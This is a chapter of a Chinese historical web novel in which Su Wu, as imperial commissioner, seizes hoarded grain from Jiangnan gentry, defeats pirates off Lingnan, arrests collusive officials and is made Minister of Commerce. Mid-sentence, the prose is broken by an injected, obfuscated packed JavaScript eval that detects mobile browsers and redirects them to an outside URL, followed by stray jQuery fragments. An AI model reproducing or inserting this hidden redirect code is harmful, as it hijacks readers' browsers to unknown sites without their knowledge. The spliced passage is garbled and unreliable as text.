暮春三月，江南草长，杂花生树，群莺乱飞。


    大靖的盛世，如一幅徐徐展开的工笔长卷，从京城的朱墙金瓦，铺展到江南的烟雨楼台，再延伸至漠北的长风大漠。十年休养生息，朝堂清明，民生富庶，商业繁茂，坊间皆传“永熙中兴”，将这十年的太平，归功于永熙帝的圣明，内阁首辅温庭远的辅政，以及那位执掌天下商业的一品诰命夫人苏芜。


    此时的苏芜，正立于苏州府的码头，一身月白织锦褙子，内衬素色交领长衫，青丝仅用一支羊脂玉簪绾成流云髻，鬓边斜插两枝新折的碧桃，眉眼间是岁月沉淀的温润，却又藏着执掌大局的果决。她脚下的青石板码头，舟楫林立，千帆竞渡，漕运船只满载着锦绣阁的绣品、惠民商社的茶叶、药行的珍稀药材，往来于运河之上，船工的号子、商贩的吆喝、孩童的嬉闹，交织成一派繁华喧嚣的景象。


    这是苏芜南下巡访的第三个月。自永熙帝整顿盐运、推行商税新政以来，虽全国大局向好，却在江南、岭南一带生出了新的波澜——江南士族以“祖制不可违”为由，联合地方豪强，抵制商税新政，暗中操控米价、盐价，压榨寒门商贩；岭南则因海禁松弛，倭寇与海盗勾结，袭扰沿海州县，劫掠商船，致使海上贸易几近停滞，沿海百姓流离失所。


    永熙帝数次派官员南下整治，却皆因士族阻挠、海盗猖獗而铩羽而归，甚至有两名钦差被江南士族设计陷害，革职流放。温庭远坐镇京城，统筹全局，分身乏术，思来想去，唯有苏芜能担此重任——她手握惠民商社的庞大网络，熟悉江南商业脉络，又深得寒门商贩与百姓拥戴；更重要的是，她不属朝堂任何派系，无党无争，且手段果决，能绕开士族的掣肘，直击问题核心。


    于是，永熙帝下旨，命苏芜以一品诰命夫人的身份，持钦差关防，南下巡访江南、岭南，督办商税新政推行，整治米盐乱象，安抚沿海百姓，清剿倭寇海盗，便宜行事，先斩后奏。


    这道旨意，在朝堂之上掀起了轩然大波。


    以礼部尚书钱谦益为首的江南士族官员，率先发难，在金銮殿上跪地进言：“陛下，万万不可！苏芜虽有功于国，却终究是一介女子，且无朝廷官衔，仅为诰命夫人。钦差乃代天巡狩，执掌生杀大权，岂容女子担任？此乃违逆祖制，贻笑大方！”


    “钱尚书此言差矣！”温庭远出列，须发皆白，却精神矍铄，目光如炬，“祖制亦有变通之时。前朝有平阳昭公主镇守娘子关，穆桂英挂帅出征，皆为女子，却立下赫赫功勋。苏芜十年间，扶持寒门，兴商富民，设义学，建惜春坊，助朝廷整顿商税、盐运，其功不在朝堂诸公之下。江南士族勾结豪强，操控物价，阻挠新政，岭南倭寇横行，百姓遭殃，诸公之中，谁能拍着胸脯，保证能平定乱象？苏芜手握惠民商社，根基在民间，手段卓绝，正是督办此事的最佳人选！”


    朝堂之上，瞬间分成两派。一派是以江南士族、守旧官员为首，坚决反对女子为钦差，高呼“祖制不可破”；另一派则是以寒门官员、忠良之士为首，力挺苏芜，认为“能者居之，不问男女”。永熙帝坐在龙椅上，看着争论不休的群臣，面色沉凝，最终一拍龙椅，厉声喝道：“够了！朕意已决！苏芜持钦差关防，南下巡访，便宜行事。谁敢阻挠，以抗旨论处！”


    旨意既下，无人再敢置喙。钱谦益等人虽心有不甘，却也只能俯首领旨，眼底却藏着深深的怨毒——他们清楚，苏芜南下，便是要动江南士族的根本利益，这场较量，关乎江南士族的兴衰存亡，他们绝不可能束手就擒。


    苏芜接旨之时，正在惜春坊总坊，看着新一批学成的孤女，手持绣针，在锦缎上绣出“国泰民安”的纹样。接到圣旨，她没有半分惊喜，反而心头沉甸甸的——她知道，这道钦差关防，是权力，更是沉甸甸的责任。江南士族盘根错节，经营数百年，势力渗透到江南的每一个角落；岭南倭寇海盗，悍不畏死，且有海外势力暗中支持，这场南下之行，注定是一场硬仗。


    青禾为她整理行装，将钦差关防、尚方宝剑小心翼翼地放入锦盒，眼眶微红：“苏芜姐姐，江南士族阴险狡诈，岭南倭寇凶残，此去路途遥远，危机四伏，你一定要保重。我已挑选了五十名惜春坊出身、身手最好的女子，组成‘芜锦卫’，随你南下，她们既能刺绣做账，又能防身杀敌，定能护你周全。”


    王大则带着百名惠民商社的护卫，立于院中，皆是身经百战的汉子，手持长刀，腰悬弓箭，神情肃穆。“苏姑娘，属下已备好船只，粮草、兵器皆已备齐。江南各府的惠民商社分坛，已接到指令，随时待命，配合姑娘行事。”


    赵老与周老丈也赶来，递上一个锦袋：“苏姑娘，这里面是江南、岭南的草药分布图，还有专治刀伤、箭伤、瘟疫的药膏，岭南湿热，易生瘟疫，姑娘务必带好。另外，我们已联络了岭南的药商，他们会暗中提供倭寇海盗的消息。”


    苏芜看着眼前的众人，心中暖意融融。十年相伴，他们早已不是主仆，而是血脉相连的家人。她接过锦袋，郑重地点了点头：“诸位放心，我此去，定不负陛下所托，不负百姓所望，平定江南乱象，清剿岭南倭寇，让新政得以推行，让百姓得以安宁。”


    三日后，苏芜的船队，从京城通州码头出发，沿运河南下。船队共二十艘大船，分作三列，中间的主船，悬挂着“钦差苏”的杏黄大旗，两侧的船只，分别载着芜锦卫、惠民商社护卫，以及粮草、兵器、药膏。一路之上，所经州县，地方官员皆出城迎接，寒门商贩与百姓更是夹道欢迎，高呼“苏钦差千岁”。苏芜则轻车简从，每到一处，必登岸查访，查看商税新政推行情况，慰问寒门商贩，查看惜春坊分坊的情况，遇有地方官员徇私枉法，当即以钦差身份，革职查办，雷厉风行的手段，让沿途官员皆噤若寒蝉。


    船队行至苏州府，便停了下来。苏州乃江南首府，也是江南士族的核心腹地，钱谦益的老家便在苏州府常熟县，这里的米价、盐价乱象，也最为严重。


    苏芜的船队刚靠岸，苏州知府李嵩，便带着苏州府的大小官员，以及江南的士族代表，立于码头迎接。李嵩是钱谦益的门生，典型的江南士族官员，面色白皙，身着绯色官服，见苏芜下船，连忙躬身行礼，语气却带着几分疏离：“下官苏州知府李嵩，率苏州府众官，恭迎苏钦差。”


    其身侧的士族代表，皆是身着锦缎，头戴儒巾的老者，为首的是苏州陆氏家主陆敬之，乃江南文坛领袖，也是江南士族的核心人物。他看着苏芜，目光中带着几分轻蔑，拱手道：“久仰苏夫人盛名，今日得见，果然名不虚传。只是不知，苏夫人以女子之身，持钦差关防，代天巡狩，是否合乎祖制？”


    苏芜淡淡瞥了他一眼，并未理会他的诘问，而是目光扫过码头周围的百姓。只见码头的角落，围了数十名衣衫褴褛的百姓，手中拿着空米袋，面色憔悴，眼神中带着绝望。苏芜心中一动，迈步走向那些百姓，青禾与芜锦卫的女子连忙跟上，护在她身侧。


    “老人家，你们为何在此？”苏芜走到一位白发苍苍的老者面前，轻声问道。


    老者见她身着钦差服饰，眼中闪过一丝希望，扑通一声跪在地上，哭着道：“苏钦差，您可要为我们做主啊！苏州的米价，从上个月的一石五百文，涨到了现在的一石两千文，盐价也翻了三倍！我们这些小百姓，根本买不起米，买不起盐，只能饿肚子啊！那些米行、盐行，都被陆老爷、钱老爷他们把持着，他们囤积居奇，抬高物价，还不许寒门商贩卖米卖盐，谁要是敢违抗，就会被他们的人打砸店铺，甚至抓起来！”


    老者的话，引来了周围百姓的附和，数十名百姓纷纷跪地，哭喊道：“苏钦差，求您为我们做主！我们实在是活不下去了！”


    苏芜的脸色，瞬间沉了下来。她早已知晓江南米盐乱象，却没想到，竟严重到如此地步。一石米两千文，相当于寻常百姓半年的收入，这般囤积居奇，无疑是将百姓逼上绝路。


    她转身，看向李嵩与陆敬之，声音冷冽：“李知府，陆老爷，这位老人家所言，可是实情？”


    李嵩脸色一白，连忙道：“苏钦差，这……这都是谣言！苏州的米盐价格，皆是市场调节，何来囤积居奇之说？这些百姓，定是受人蛊惑，胡言乱语。”


    “市场调节？”苏芜冷笑一声，“市场调节，能让米价一月之内翻四倍？李知府，你身为苏州知府，守土有责，百姓食不果腹，你却视而不见，反而为士族豪强辩解，你这个知府，是怎么当的？”


    陆敬之则上前一步，面色倨傲：“苏钦差，饭可以乱吃，话不能乱说。我江南士族，世代书香，忠君爱国，怎会囤积居奇，压榨百姓？不过是些寒门商贩，恶意竞争，扰乱市场，我们不过是加以约束罢了。苏钦差若要查，便去查那些寒门商贩，莫要错怪了好人。”


    “约束？”苏芜目光如刀，落在陆敬之身上，“将米盐囤积起来，抬高物价，让百姓饿肚子，这也叫约束？陆老爷，你世代书香，可知‘民为邦本，本固邦宁’？你压榨百姓，便是动摇国本！今日，我便替陛下，替百姓，查一查你们江南士族的‘约束’！”


    说罢，苏芜对着身后的王大喝道：“王大，传我命令，即刻封锁苏州府所有的米行、盐行，查封士族豪强的粮仓、盐仓，开仓放粮，平价售盐，救济百姓！芜锦卫配合，严查囤积居奇之人，敢有阻拦者，以尚方宝剑斩之！”


    “得令！”王大与芜锦卫统领林薇齐声应道，转身便带着人，朝着苏州府的米行、盐行而去。


    李嵩与陆敬之脸色大变，陆敬之厉声喝道：“苏芜，你敢！我江南士族，岂容你放肆？”


    “放肆的是你们！”苏芜手持尚方宝剑，剑鞘直指陆敬之，“我持钦差关防，尚方宝剑，代天巡狩，便宜行事。你们囤积居奇，压榨百姓，阻挠新政，便是抗旨，便是谋逆！今日，我便先斩后奏，看谁敢阻拦！”


    尚方宝剑的寒光，映得陆敬之脸色惨白。他知道，苏芜说得出做得到，十年前，她连魏忠贤都能扳倒，如今手持尚方宝剑，根本不惧他们江南士族。李嵩更是吓得浑身发抖，他不过是个知府，怎敢与钦差抗衡？


    王大与林薇的行动，极为迅速。惠民商社的护卫，皆是身经百战，芜锦卫的女子，更是身手矫健，且熟悉苏州府的地形——这些女子，多是江南出身，被苏芜收养于惜春坊，对苏州的大街小巷了如指掌。


    短短一个时辰，苏州府的数十家米行、盐行，尽数被封锁。士族豪强的粮仓、盐仓，也被一一找到，最大的一处粮仓，位于苏州城西的陆氏庄园，里面囤积了上万石粮食，足够苏州府百姓吃一年；最大的一处盐仓，位于城南的钱氏别院，囤积了数十万斤私盐，皆是江南士族借着权势，从盐场低价收购，囤积起来，高价售卖。


    苏芜亲自坐镇陆氏庄园的粮仓，下令开仓放粮，以一石五百文的平价，售卖粮食给百姓。消息传出，苏州府的百姓，皆欢呼雀跃，从四面八方赶来，排起了长长的队伍。苏芜则站在粮仓门口，看着百姓们拿着米袋，脸上露出久违的笑容，心中稍安。


    “苏钦差，您真是我们的活菩萨啊！”一位大娘，拿着刚买到的米，对着苏芜连连磕头。


    “苏钦差，感谢您为我们做主，我们终于能吃上饱饭了！”


    百姓们的感激之声，不绝于耳。苏芜扶起那位大娘，轻声道：“大娘，不必如此。我乃朝廷钦差，为民请命，是我的本分。”


    就在此时，一名芜锦卫女子，匆匆跑来，对着苏芜道：“苏钦差，不好了！李知府带着苏州府的衙役，还有陆氏、钱氏的私兵，围了粮仓，说我们私闯民宅，抢夺财物，要将我们抓起来！”


    苏芜的脸色，再次沉了下来。李嵩与江南士族，终究还是忍不住，要动手了。


    她转身，朝着粮仓门口走去。只见粮仓外，李嵩身着官服，手持令牌，身后跟着数百名衙役，以及上千名身着锦袍、手持刀剑的私兵，为首的正是陆敬之与钱谦益的侄子钱明远。


    “苏芜，你好大的胆子！”李嵩厉声喝道，“陆氏庄园，乃是私人宅邸，你竟敢带着人，私闯民宅，查封粮仓，抢夺粮食，你可知罪？”


    钱明远则手持长刀，面目狰狞：“苏芜，你一个女子，也敢在江南撒野？今日，我便让你知道，江南是谁的天下！”


    说罢，钱明远挥手，上千名私兵，便朝着粮仓冲了过来。衙役们则站在一旁，虎视眈眈，却不敢上前——他们知道，苏芜手持尚方宝剑，是钦差，他们若动手，便是抗旨。


    王大与林薇，立刻带着护卫与芜锦卫，迎了上去。双方瞬间交战，刀光剑影，喊杀声震天。惠民商社的护卫，皆是寒门出身，为了保护百姓，为了推行新政，个个奋勇当先；芜锦卫的女子，更是身手不凡，她们多是孤女，被苏芜收养，教她们防身之术，今日，为了守护苏芜，为了守护百姓，她们更是以命相搏。


    苏芜立于粮仓门口，手持尚方宝剑，目光冷冽地看着李嵩与陆敬之：“李知府，陆老爷，你们纵容私兵，对抗钦差，阻挠新政，压榨百姓，罪证确凿！今日，我便以尚方宝剑，先斩后奏，治你们的罪！”


    说罢，苏芜纵身跃起，手持尚方宝剑，朝着李嵩与陆敬之飞去。她虽为女子，却跟着温庭远请来的武师，学了多年的剑术，虽不擅长冲锋陷阵，却精通剑术招式，身法灵动。


    李嵩与陆敬之，皆是文弱书生，哪里见过这般阵势？见苏芜持剑飞来，吓得魂飞魄散，转身便想跑。


    苏芜身形一闪，便挡在了他们面前，尚方宝剑的剑鞘，轻轻一点，便点中了李嵩的穴位。李嵩瞬间动弹不得，瘫倒在地。陆敬之则被芜锦卫的一名女子，一脚绊倒，按在地上。


    钱明远见李嵩与陆敬之被擒，心中一慌，想要突围，却被王大一刀架在了脖子上。“钱明远，你还想跑？”


    短短半个时辰，交战便结束了。上千名私兵，死伤过半，其余的皆跪地投降。李嵩、陆敬之、钱明远，皆被擒获。


    苏芜走到李嵩面前，声音冷冽：“李嵩，你身为苏州知府，食君之禄，却不忠君之事，反而勾结士族，压榨百姓，阻挠新政，你可知错？”


    李嵩瘫在地上，面如土色，哭着道：“苏钦差，我错了，我是一时糊涂，被钱谦益尚书蛊惑，求苏钦差饶我一命！”


    “糊涂？”苏芜冷笑，“百姓食不果腹，流离失所，你却助纣为虐，这不是糊涂，是丧尽天良！”


    说罢，苏芜看向陆敬之：“陆敬之，你江南士族领袖，世代书香，却不知爱民如子，反而囤积居奇，牟取暴利，动摇国本，你可知罪？”


    陆敬之依旧面色倨傲：“苏芜，你休得猖狂！我江南士族，盘根错节，你今日擒了我，明日，钱谦益尚书便会在朝堂之上参你一本，让你身败名裂！”


    “身败名裂？”苏芜淡淡道，“我苏芜，从乡野孤女走来，历经无数风雨，早已将生死置之度外。我所做之事，皆是为了百姓，为了朝廷，纵使身败名裂，我也无怨无悔！”


    随即，苏芜对着身边的护卫道：“将李嵩、陆敬之、钱明远，打入囚车，暂押苏州府大牢。其余投降的私兵，皆放回家中，既往不咎。查抄陆氏、钱氏在苏州府的所有家产，充公济民。”


    “得令！”


    处理完苏州府的乱象，苏芜并未停歇。她以钦差身份，任命苏州府通判——一位寒门出身、清正廉明的官员，暂代苏州知府之职，负责苏州府的日常事务。又下令，将查抄的陆氏、钱氏家产，一部分用于救济百姓，一部分用于补贴寒门商贩，帮助他们重建店铺。


    随后，苏芜又接连走访江南的常州、杭州、扬州等府，皆是雷厉风行，查封士族豪强的粮仓、盐仓，开仓放粮，平价售盐，革职查办徇私枉法的官员，扶持寒门商贩，推行商税新政。江南士族，虽百般阻挠，却因苏芜手握尚方宝剑，深得百姓与寒门商贩拥戴，且有惠民商社的庞大网络支持，最终，皆以失败告终。


    历时一个月，江南的米盐乱象，被彻底平定。商税新政，得以顺利推行。寒门商贩，重获生机。百姓们，得以安居乐业。江南士族，虽依旧势力庞大，却也收敛了许多，不敢再明目张胆地阻挠新政，压榨百姓。


    苏芜在江南的所作所为，被快马传至京城。永熙帝看后，龙颜大悦，下旨嘉奖苏芜，称其“巾帼不让须眉，功在社稷，利在民生”。朝堂之上，寒门官员纷纷进言，称赞苏芜的功绩，而钱谦益等江南士族官员，则缄口不言，心中却对苏芜恨之入骨。


    平定江南乱象后，苏芜的船队，便沿着运河，南下至杭州府，再从杭州府出海，前往岭南。


    岭南的局势，比江南更为复杂。倭寇与海盗，勾结在一起，以琉球、日本为据点，袭扰岭南沿海的广州、泉州、漳州等州县，劫掠商船，焚烧村庄，杀害百姓，致使沿海百姓流离失所，海上贸易几近停滞。更严重的是，岭南的一些地方官员，为了自保，竟与倭寇海盗勾结，暗中提供粮草、情报，换取自身的平安。


    苏芜的船队，刚驶入岭南海域，便遭遇了倭寇的袭击。


    那日，海面风平浪静，阳光明媚。苏芜正立于主船的甲板上，查看岭南的海图，突然，瞭望哨的护卫，高声喊道：“苏钦差，不好了！东南方向，出现了十几艘倭寇战船！”


    苏芜心中一凛，立刻走到船头，朝着东南方向望去。只见十几艘挂着“倭”字旗帜的战船，正朝着她们的船队，疾驰而来。战船上，站满了手持长刀、弓箭的倭寇，个个面目狰狞，杀气腾腾。


    “准备迎战！”苏芜厉声喝道。


    王大与林薇，立刻下令，船队的二十艘大船，迅速排成防御阵型。主船居中，两侧的战船，分列左右，船上的护卫，纷纷拿起弓箭、火铳，严阵以待。芜锦卫的女子，则负责搬运弹药，救治伤员。


    倭寇的战船，速度极快，转瞬之间，便冲到了苏芜的船队面前。为首的一艘战船上，站着一个身着武士服的倭寇首领，手持武士刀，高声喊道：“船上的人听着，速速交出财物，否则，格杀勿论！”


    苏芜看着那倭寇首领，眼底闪过一丝冷意。她认出，此人乃是倭寇的大头目，名叫松本一郎，手下有数千名倭寇，盘踞在琉球，多次袭扰岭南沿海，朝廷派去的水师，多次围剿，皆因他熟悉海域，且有海盗接应，而无功而返。


    “松本一郎，你屡犯我大靖疆土，劫掠我大靖百姓，今日，我便让你血债血偿！”苏芜厉声喝道。


    说罢，苏芜挥手，船队上的火铳，便齐齐开火。“砰！砰！砰！”枪声震天，铅弹如雨点般，朝着倭寇的战船射去。


    倭寇们从未见过如此密集的火铳攻击，瞬间死伤惨重。松本一郎见状，大怒，挥舞着武士刀，高声喊道：“进攻！杀了他们！”


    倭寇们纷纷拿起弓箭，朝着苏芜的船队射来，随后，驾驶着战船，朝着苏芜的船队撞来。


    双方瞬间展开了激烈的海战。刀光剑影，枪声震天，战船碰撞的声音，士兵的喊杀声，伤者的惨叫声，交织在一起。苏芜的船队，虽人数少于倭寇，却装备精良——苏芜早已料到岭南倭寇猖獗，特意让惠民商社的工匠，打造了数十门小型火炮，安装在战船上，又配备了大量的火铳，威力远胜倭寇的弓箭、武士刀。


    苏芜立于主船的甲板上，冷静地指挥着战斗。她根据海图，判断风向、水流，下令船队调整阵型，利用火炮，攻击倭寇战船的薄弱之处。林薇则带着芜锦卫的女子，登上倭寇的战船，与倭寇展开近身搏斗。这些女子，虽为女子，却个个勇猛，手中的长刀，挥舞得虎虎生风，倭寇们被她们杀得节节败退。


    王大则带着护卫，驾驶着几艘小型战船，绕到倭寇战船的后方，偷袭倭寇的粮草船。倭寇的粮草船，被点燃，火光冲天，倭寇们见粮草被烧，军心大乱。


    松本一郎见大势已去，想要驾驶战船，突围而逃。苏芜早已料到他会如此，下令主船的火炮，瞄准松本一郎的战船。“开炮！”


    “轰！”一声巨响，火炮的炮弹，精准地击中了松本一郎的战船。战船的船身，瞬间被炸出一个大洞，海水汹涌而入。松本一郎见状，想要跳海逃生，却被王大一箭射中肩膀，摔在甲板上。


    最终，这场海战，以苏芜的船队大获全胜而告终。十几艘倭寇战船，被击沉五艘，俘获八艘，其余的皆狼狈逃窜。倭寇大头目松本一郎，被生擒活捉。倭寇死伤上千人，而苏芜的船队，仅伤亡百余人。


    苏芜的船队，顺利驶入广州府的码头。广州知府陈敬，带着岭南的官员，以及沿海的百姓，早已立于码头，等候苏芜。陈敬是寒门出身，为官清正，多次组织百姓，抵抗倭寇，却因手中无兵无权，且有地方官员掣肘，而收效甚微。


    见苏芜的船队归来，还生擒了松本一郎，陈敬激动得热泪盈眶，跪地行礼：“苏钦差，您可来了！岭南百姓，盼您如盼甘霖啊！”


    沿海的百姓，也纷纷跪地，哭喊道：“苏钦差，求您为我们做主，剿灭倭寇，让我们能安稳度日！”


    苏芜扶起陈敬，轻声道：“陈知府，不必多礼。剿灭倭寇，安抚百姓，是我分内之事。”


    随后，苏芜在广州府，设立了“岭南海防署”，任命陈敬为海防署主事，负责岭南的海防事务。又从惠民商社的护卫，以及芜锦卫的女子中，挑选出两千名身手矫健、熟悉水性的人，组成“岭南水师”，由王大担任水师统领，林薇担任副统领，负责清剿倭寇海盗。


    苏芜深知，倭寇海盗，之所以屡剿不灭，除了熟悉海域、有海外势力支持外，更重要的是，岭南的一些地方官员，与他们勾结。于是，她一面派岭南水师，清剿倭寇海盗的据点，一面派芜锦卫的女子，暗中调查与倭寇海盗勾结的官员。


    芜锦卫的女子，皆是女子，不易引起怀疑，且心思细腻，善于察言观色。短短十日，她们便查清了，与倭寇海盗勾结的，竟是岭南按察使周显，以及泉州、漳州的两名知府。周显为了牟取暴利，暗中为倭寇海盗提供粮草、情报，甚至放任倭寇海盗，袭扰沿海百姓，换取倭寇海盗的贿赂。


    苏芜得知消息后，当即决定，将计就计，抓捕周显等人。


    她先是让陈敬，以“商议海防事务”为由，将周显，以及泉州、漳州的两名知府，请到广州府的海防署。周显等人，以为苏芜只是个女子，不懂海防事务，想要借机拉拢苏芜，或是设计陷害苏芜，便欣然前往。


    待周显等人，进入海防署后，苏芜便下令，关闭海防署的大门，将他们团团包围。


    “苏钦差，你这是何意？”周显见势不妙，脸色一变，厉声问道。


    苏芜拿出芜锦卫查到的证据，扔在周显面前：“周显，你勾结倭寇海


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239935|197681||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    盗，提供粮草、情报，放任倭寇袭扰百姓，牟取暴利，罪证确凿，你还有何话可说？”


    周显看着地上的证据，脸色惨白，却依旧强装镇定：“苏芜，你血口喷人！这些证据，皆是你伪造的！”


    “伪造？”苏芜冷笑，“松本一郎已被我生擒，他已供出，与你勾结的经过。还有，你的管家，也已被我抓获，他也供认不讳。周显，事到如今，你还想狡辩？”


    说罢，苏芜让人，将松本一郎，以及周显的管家，带了上来。松本一郎被打得遍体鳞伤，跪在地上，对着苏芜道：“苏钦差，我招，我全都招！我与周显大人，勾结了三年，他为我提供粮草、情报，我为他送去金银珠宝，泉州、漳州的知府，也参与其中！”


    周显的管家，也哭着道：“老爷，我错了，我不该帮你收倭寇的贿赂，不该帮你传递情报，求苏钦差饶我一命！”


    证据确凿，周显等人，再也无法狡辩，瘫倒在地，面如土色。


    苏芜当即下令，将周显，以及泉州、漳州的两名知府，打入囚车，暂押广州府大牢。又下令，查抄他们的家产，充公济民，用于安抚沿海百姓，重建被倭寇焚烧的村庄。


    解决了内奸，岭南水师的清剿行动，便顺利了许多。王大与林薇，带着岭南水师，先后清剿了倭寇海盗在琉球、日本的多个据点，斩杀倭寇海盗上千人，俘获数千人，解救了数百名被倭寇海盗掳走的百姓。


    历时两个月，岭南的倭寇海盗，被彻底剿灭。海上贸易，逐渐恢复。沿海的百姓，也得以重返家园，重建村庄。苏芜又下令，在岭南沿海，修建海防炮台，组建常备水师，以防倭寇海盗再次袭扰。又让惠民商社，在岭南开设分坛，扶持沿海的渔民，发展海上贸易，让百姓们，能靠着捕鱼、经商，安居乐业。


    岭南的局势，彻底平定。消息传至京城，永熙帝大喜过望，再次下旨，嘉奖苏芜，称其“平定江南，清剿岭南，功绩卓著，远超朝堂诸公”。


    此时，朝堂之上，再次掀起了轩然大波。这一次，不再是反对苏芜，而是纷纷进言，请求永熙帝，授予苏芜正式的官衔。


    先是温庭远，在金銮殿上，率先进言：“陛下，苏芜以一品诰命夫人的身份，持钦差关防，南下巡访，平定江南米盐乱象，清剿岭南倭寇海盗，推行商税新政，安抚沿海百姓，功绩卓著，利在社稷，福泽万民。其才其能，远超朝堂诸公。如今，江南、岭南虽已平定，但全国的商税、盐运、海防，仍需专人督办。苏芜熟悉商业脉络，深得民心，且手段卓绝，若授予其正式官衔，让其执掌相关事务，定能为朝廷，为百姓，再立奇功！”


    紧接着，数十名寒门官员，纷纷出列，跪地进言：“陛下，温首辅所言极是！苏芜巾帼不让须眉，功绩赫赫，当授予正式官衔，入朝理政！”


    钱谦益等江南士族官员，虽心有不甘，却也无法反驳——苏芜的功绩，摆在眼前，江南、岭南的百姓，对苏芜感恩戴德，若他们再反对，便是与百姓为敌，与朝廷为敌。最终，钱谦益也只能出列，拱手道：“陛下，苏芜功绩卓著，确当授予官衔。”


    永熙帝坐在龙椅上，看着群臣，脸上露出了欣慰的笑容。他早已有意，授予苏芜正式的官衔，让其入朝理政。一来，苏芜确有大才，能为他分忧；二来，授予女子官衔，入朝理政，也能打破祖制，彰显他的开明，更能打击那些守旧的士族官员。


    “诸卿所言，甚合朕意。”永熙帝沉声道，“苏芜功绩卓著，才德兼备，朕今日，便下旨，授予苏芜‘商部尚书’之职，加太子少保，仍领一品诰命夫人，执掌全国商税、盐运、海防贸易事务，入朝理政，参与军机要务！”


    商部尚书，乃六部尚书之一，正二品官衔，加太子少保，为从一品。这道旨意，意味着苏芜，成为了大靖王朝，乃至华夏历史上，第一位女子六部尚书，真正地从诰命夫人，走进了朝堂，拥有了属于自己的，正经的官衔。


    旨意下达，全国震动。百姓们欢呼雀跃，称赞永熙帝圣明，称赞苏芜为“巾帼尚书”。寒门子弟与女子，更是备受鼓舞，纷纷表示，要以苏芜为榜样，努力学习，建功立业。


    此时的苏芜，刚从岭南返回苏州府，正准备带着船队，返回京城。接到永熙帝的圣旨时，她正立于苏州府的惜春坊分坊，看着孤女们，绣出“巾帼尚书”的纹样。


    传旨的太监，手持明黄色的圣旨，高声宣读：“奉天承运，皇帝诏曰：苏芜持节南巡，平定江南乱象，清剿岭南倭寇，推行新政，安抚万民，功绩卓著，德被四方。朕嘉其才，念其功，特授苏芜为商部尚书，加太子少保，仍领一品诰命夫人，执掌全国商税、盐运、海防贸易事务，入朝理政，参与军机要务。望其恪尽职守，忠君爱国，为民请命，再创佳绩。钦此！”


    苏芜接过圣旨，双膝跪地，俯首行礼，声音清亮，带着几分激动，几分坚定：“臣苏芜，接旨！谢陛下隆恩！臣定当恪尽职守，忠君爱国，为民请命，不负陛下所托，不负百姓所望！”


    这一拜，拜的是永熙帝的知遇之恩，拜的是十年的风雨兼程，拜的是无数百姓的期盼，更是拜的，她自己数十年的努力与坚守。


    从苏家村的孤女，到锦绣阁的杂役；从执掌锦绣阁的绣娘，到一品诰命夫人；如今，又成为了大靖王朝的商部尚书，太子少保。她走过的路，布满荆棘，历经风雨，却始终坚守本心，从未放弃。


    传旨的太监，笑着道：“苏尚书，恭喜您！陛下与温首辅，在京城，正等着您归来，共商国是呢！”


    苏芜起身，对着太监拱手道：“有劳公公千里传旨。烦请公公先行回京，告知陛下，臣整顿完江南、岭南的后续事务，便即刻回京，入朝理政。”


    “苏尚书客气了。”太监笑道，“那咱家，便先行回京复命了。”


    太监走后，惜春坊的孤女们，纷纷围了上来，欢呼道：“苏尚书！苏尚书！”


    青禾、王大、赵老、周老丈，以及陈敬、林薇等人，也纷纷上前，对着苏芜拱手道：“恭喜苏尚书！贺喜苏尚书！”


    苏芜看着眼前的众人，看着她们眼中的喜悦与敬佩，心中暖意融融。她知道，这份荣耀，不属于她一个人，属于所有支持她、陪伴她的人，属于所有寒门百姓，属于所有被她收养的孤女。


    “诸位，同喜。”苏芜笑着道，“这份荣耀，是我们所有人，一起拼来的。”


    接下来的十日，苏芜整顿了江南、岭南的后续事务。在江南，她任命了新的苏州知府，完善了商税新政的推行细则，让惠民商社的分坛，继续扶持寒门商贩；在岭南，她完善了海防署的制度，让岭南水师，继续驻守沿海，防范倭寇海盗，又让惠民商社，大力发展海上贸易，让岭南的百姓，能靠着经商，过上好日子。


    十日之后，苏芜的船队，从苏州府码头出发，朝着京城，缓缓驶去。


    船队行至运河之上，沿途州县，百姓们夹道欢迎，高呼“苏尚书千岁”。苏芜立于主船的甲板上，看着两岸欢呼的百姓，看着运河之上千帆竞渡的繁华景象，看着田野里百姓们辛勤劳作的身影，心中满是感慨。


    十年前，她初到京城，身无分文，只能在锦绣阁，做一个浆洗绸缎的杂役。那时的她，只想活下去，只想摆脱苏家村的苦难。


    十年后，她成为了大靖王朝的商部尚书，太子少保，执掌全国的商业事务，走进了朝堂，影响着朝局民生。她不仅活了下来，还活成了自己的光，活成了无数人的光。


    她知道，成为商部尚书，不是结束，而是新的开始。全国的商税、盐运、海防贸易，依旧有许多问题，需要她去解决；朝堂之上，虽已清明，却仍有守旧势力，需要她去抗衡；寒门子弟与女子的地位，虽已提升，却仍有许多不公，需要她去改变。


    前路依旧漫长，依旧布满荆棘，但苏芜，早已无所畏惧。


    她有温庭远的指点，有青禾、王大等人的陪伴，有惠民商社、惜春坊的支持，有全国百姓的拥戴，更有自己十年磨一剑的坚韧与智慧。


    船队驶入京城通州码头时，已是暮春。京城的百姓，早已挤满了码头，从通州码头，到皇宫的朱雀门，沿途的街道，皆被百姓们围得水泄不通。


    “苏尚书回来了！”


    “看，那就是苏尚书！我们的巾帼尚书！”


    “苏尚书千岁千岁千千岁！”


    百姓们的欢呼之声，响彻京城的天空。


    苏芜身着二品绯色官服，头戴梁冠，腰系玉带，手持象牙笏板，从主船上走了下来。她身姿挺拔，眉眼沉稳，一身官服，更衬得她气度不凡。


    温庭远率领着满朝文武，立于码头，迎接苏芜。见苏芜走来，温庭远脸上露出了欣慰的笑容，率先拱手道：“苏尚书，欢迎归来。”


    满朝文武，无论是寒门官员，还是士族官员，皆对着苏芜，拱手行礼，齐声喊道：“苏尚书，欢迎归来！”


    苏芜对着温庭远，以及满朝文武，拱手还礼，声音清亮：“苏芜，幸不辱命，平定江南、岭南乱象，今日归来，愿与诸公，共辅陛下，共创大靖盛世！”


